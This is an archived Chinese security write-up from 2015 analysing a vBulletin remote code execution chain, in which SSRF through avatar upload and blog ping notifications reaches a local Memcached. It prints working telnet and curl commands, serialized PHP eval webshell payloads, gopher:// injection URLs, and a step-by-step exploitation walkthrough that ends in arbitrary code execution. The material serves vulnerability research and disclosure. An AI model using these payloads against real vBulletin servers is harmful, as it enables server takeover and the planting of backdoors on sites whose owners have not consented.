# vBulletin rce 0day分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-08-28T07:50:00Z
Canonical: https://wepostx.com/topics/1005

> 乌云历史资料归档
>
> **原始作者：** 路人甲
> **原始编号：** superkieran-wooyundrops:733
> **原始发布时间：** 2015-08-28 15:50
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

作者：Ambulong(安恒安全研究院)

# 0x00 前言

fd上有人公开了vBulletin的[0day POC](http://seclists.org/fulldisclosure/2015/Aug/58)，但没有提供漏洞分析过程。 vBulletin是国外领先的论坛程序，国内一般称其为VBB，基于PHP+mySQL开发.vBulletin是商业软件，需付费使用。
vBulletin允许通过URL远程上传文件，但对URL并没有作严格的过滤，导致SSRF漏洞的产生。加上许多vBulletin网站同时将vBulletin的Memcached与WEB服务器安装在一起，结合SSRF将导致漏洞变为命令执行。

# 0x01 漏洞分析

首先讲下vBulletin的plugin（hook）执行方式，vBulletin将plugin的信息(包括代码)存储在数据库，程序运行时临时从数据库读取代码执行，可以理解成将include 'pluginname.php'变成eval(getCodeFromDB('pluginname'))。在Memcache开启的情况下，vBulletin会将plugin的代码缓存在Memcached里来增加读取速度。
我们都知道访问Memcached是不需要密码的，这样一来如果Memcached的访问端口暴露在公网，我们就修改vBulletin在Memcached中的plugin代码为恶意代码，这导致的后果将不堪设想。
vBulletin官网上的建议是Memcached不要和vBulletin安装在同台服务器，但许多站长对此还是视而不见，或者仅通过将防火墙设置将Memcached端口对外禁止访问就以为解决了问题。
不幸的是，vBulletin中存在SSRF漏洞，攻击者可以将存在漏洞的文件当作代理来向服务器上的Memcached发起本地请求。

### Memcached未授权访问
我们首先看下Memcached的未授权访问是如何导致vBulletin命令执行的。
通过关键字查找，发现语句vBulletinHook::set_pluginlist($vbulletin->pluginlist)，找到set_pluginlist的声明在文件./includes/class_hook.php中，根据注释内容：

```text
#!php // to call a hook: // require_once(DIR . '/includes/class_hook.php'); // ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;
```
得知，plugin的调用方式为($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;，功能是获取plugin的代码并执行。
我们选用出现频率较高的global_start的代码，对应的语句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;，这句话在./global.php文件里，所以包含./global.php的页面都将包含我们的恶意代码。
接下来访问Memcached服务器看下pluginlist项的数据

```text
$ telnet 172.16.80.156 11211 Trying 172.16.80.156... Connected to 172.16.80.156. Escape character is '^]'. get pluginlist ...(序列化后的数组) END quit
```

![原文图片](/media/2016/06/9494fc453e830c2715a3b6de621a09b2)

获取pluginlist的数据将返回序列化后的pluginlist数组。 相关代码在./includes/class_hook.php类函数build_datastore中。

```text
#!php $plugins = $dbobject->query_read(" SELECT plugin.*, IF(product.productid IS NULL, 0, 1) AS foundproduct, IF(plugin.product = 'vbulletin', 1, product.active) AS productactive FROM " . TABLE_PREFIX . "plugin AS plugin LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product) WHERE plugin.active = 1 AND plugin." . "phpcode <> '' ORDER BY plugin.executionorder ASC "); while ($plugin = $dbobject->fetch_array($plugins)) { if ($plugin['foundproduct'] AND !$plugin['productactive']) { continue; } else if (!empty($adminlocations["$plugin[hookname]"])) { $admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n"; } else { $code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n"; } } $dbobject->free_result($plugins); build_datastore('pluginlist', serialize($code), 1); build_datastore('pluginlistadmin', serialize($admincode), 1);
```
通过代码可知$code数组的格式为$code=array('hookname'=>'phpcode'); 我们要修改Memcached中的pluginlist代码，我们也需要将我们的代码放到$code数组内序列化后再写入Memcached。

```text
#!php $code=array('global_start'=> [email protected] ($_REQUEST[\'eval\']);'); echo serialize($code)."\n".strlen(serialize($code));
```
输出：

```text
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化后的数据 59 //字符串长度
```
接下来就是修改pluginlist项的数据为我们的pluginlist：

```text
$ telnet 172.16.80.156 11211 Trying 172.16.80.156... Connected to 172.16.80.156. Escape character is '^]'. set pluginlist 0 120 59 a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} STORED quit
```

![原文图片](/media/2016/06/817689647c282a3475cacbe0548b41f0)

命令修改了global_start的代码，所以包含了./global.php的页面都将含有我们的恶意代码。
这时访问http://172.16.80.156/showthread.php?eval=phpinfo();发现我们的代码已经执行。

![原文图片](/media/2016/06/0de43c5da963d98246ddcce2cb2715fd)

但是在大多数情况下，Memcached是不允许外网访问，这时就需要用到下面的SSRF。

### SSRF（Server-side Request Forgery，服务器端请求伪造）
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。
via:http://wiki.wooyun.org/web:ssrf
(注：测试前先删除上一步的pluginlist, delete pluginlist) vBulletin的远程上传功能在vB_Upload_*类和vB_vURL类中都有使用到，我们以vB_Upload_Userpic为例分析。 在文件./includes/class_upload.php中类vB_Upload_Userpic->类函数process_upload()中调用了类函数accept_upload()，之后accept_upload()调用了fetch_remote_filesize()，再来调用了vB_vURL类，最后到vB_vURL_cURL类中的exec()函数，整个过程中传入的avatarurl变量都未作任何过滤。
报告文档中的POC：[http://seclists.org/fulldisclosure/2015/Aug/58](http://seclists.org/fulldisclosure/2015/Aug/58)

```text
$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
```
按报告来理解的话，Memcached将执行：

```text
HEAD / set pluginlist 0 0 96 a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();} ";} quit .png HTTP/1.0 Host: localhost User-Agent: vBulletin via PHP Connection: close
```
但是在本地测试时，上面的EXP并不能使用，经抓包分析，在我们测试时链接中的%0D%0A并未能转换成换行符。 测试代码： #!php $url = 'http://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1](http://seclists.org/fulldisclosure/2015/Aug/58));";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);
抓包结果：

![原文图片](/media/2016/06/cee0954e4488149f2035dcbbbfd3efe7)

最后多次测试和查阅参考资料发现，在gopher协议下EXP可以复现，但是vB_Upload_Userpic只允许(http|ftp)s开头的链接。
参考资料： [https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1)
文中给出的Exploit：

```text
gopher://localhost:11211/1%0astats%0aquit dict://locahost:11211/stats ldap://localhost:11211/%0astats%0aquit
```
然而将HTTP协议改为Gopher协议

```text
#!php $url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';
```
抓包结果：

![原文图片](/media/2016/06/4e340ab751621f67def3743e8e1a537f)

可以看出，此时的%0D%0A转换成换行符了。 接下来，我们需要的是一个能带入gopher://的SSRF点，经过搜索对vB_vURL的调用，位置在./blog_post.php的donotify内，函数send_ping_notification()。
函数send_ping_notification()的声明在./includes/blog_functions_post.php，函数中调用的fetch_head_request()调用了vB_vURL类来发起请求，整个过程中$url变量未作过滤。 我们在前端可勾选发表博客中的附加选项通知在这篇文章中链接的其它博客，来调用这个变量。

# 0x02 漏洞利用

- 注册用户并登录。

- 发表新文章（http://*host*/blog_post.php?do=newblog）。

- 加入超链接gopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit。

![原文图片](/media/2016/06/9c7d0dd87048aec6d11e8d5233decb60)

- 在附加选项中勾选通知在这篇文章中链接的其它博客。

![原文图片](/media/2016/06/9f0b08d8fec6618021fbf3902c110e29)

![原文图片](/media/2016/06/54cf8537d13a65e045826b21cb932863)

- 发表->选择链接->提交。

- 访问http://*host*/showthread.php?1=phpinfo();查看是否执行成功。

![原文图片](/media/2016/06/524c0cf9e2f88aa936bf120195ab3179)

## Replies
